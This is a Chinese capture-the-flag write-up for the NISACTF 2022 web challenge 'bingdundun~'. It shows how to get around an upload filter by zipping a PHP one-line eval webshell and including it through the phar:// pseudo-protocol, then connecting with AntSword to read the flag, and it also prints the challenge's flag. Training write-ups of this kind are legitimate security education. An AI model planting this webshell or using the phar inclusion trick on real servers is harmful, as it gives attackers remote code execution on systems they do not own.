[NISACTF 2022]bingdundun~
[NISACTF 2022]bingdundun~
题目来源:nssctf
题目类型:web
涉及考点:文件上传
1. 题目给了一个点击按钮,进去之后是上传入口
- 还是选择之前的
muma.jpg
上传:
- 上传成功,我们再利用bp抓包修改成
muma.php
试试
- 上传失败了,我们回去看看有没有啥提示,在源代码中发现:
额,好像没什么用
- 这时候注意到页面url上有个GET传参
bingdundun
- 我们传入
bingdundun=index
看看:
实在看不出啥,还是直接找wp吧
2. Phar伪协议
Phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分:
- stub:phar 文件标识,格式为
xxx<?php xxx; __HALT_COMPILER();?>;
,前面内容不限,但必须以__HALT_COMPILER();
来结尾,否则phar扩展将无法识别这个文件为phar文件 - manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
- contents:被压缩文件的内容
- signature:签名,放在文件末尾
php有内置的Phar类来进行Phar文件操作:
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
注:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
对于Phar文件详解见:phar文件详解 (侵删!!)
而phar://
伪协议,可以将任意后缀名的压缩包(原来是 .phar 或 .zip,注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。
用法:?file=phar://压缩包/内部文件,eg:?file=phar://muma.zip/muma.php
3. 利用Phar伪协议读取文件
这里没有用本地生成Phar文件,是直接将php压缩成zip文件上传的
因为我重开了一下靶场,所以重新传入
muma.zip
(将muma.php压缩):
这里对我们的压缩文件重命名了,蚁剑连接的时候要注意一下
muma.php
的内容如下:
<?php @eval($_POST['r00ts']);?>
用蚁剑连接一下,注意url地址填写如下:
http://node2.anna.nssctf.cn:28051/?bingdundun=phar://2364cb87e4efc9acd2fe40df758bce6d.zip/muma.php
连接密码为r00ts
(即POST里的内容)
自己改下靶场地址和一句话木马文件名即可
连接成功后我们在根目录下找到了flag:
NSSCTF{b98408b0-69f4-4ede-87a6-c2e9190b451b}
日期:2023.8.12
作者:y0Zero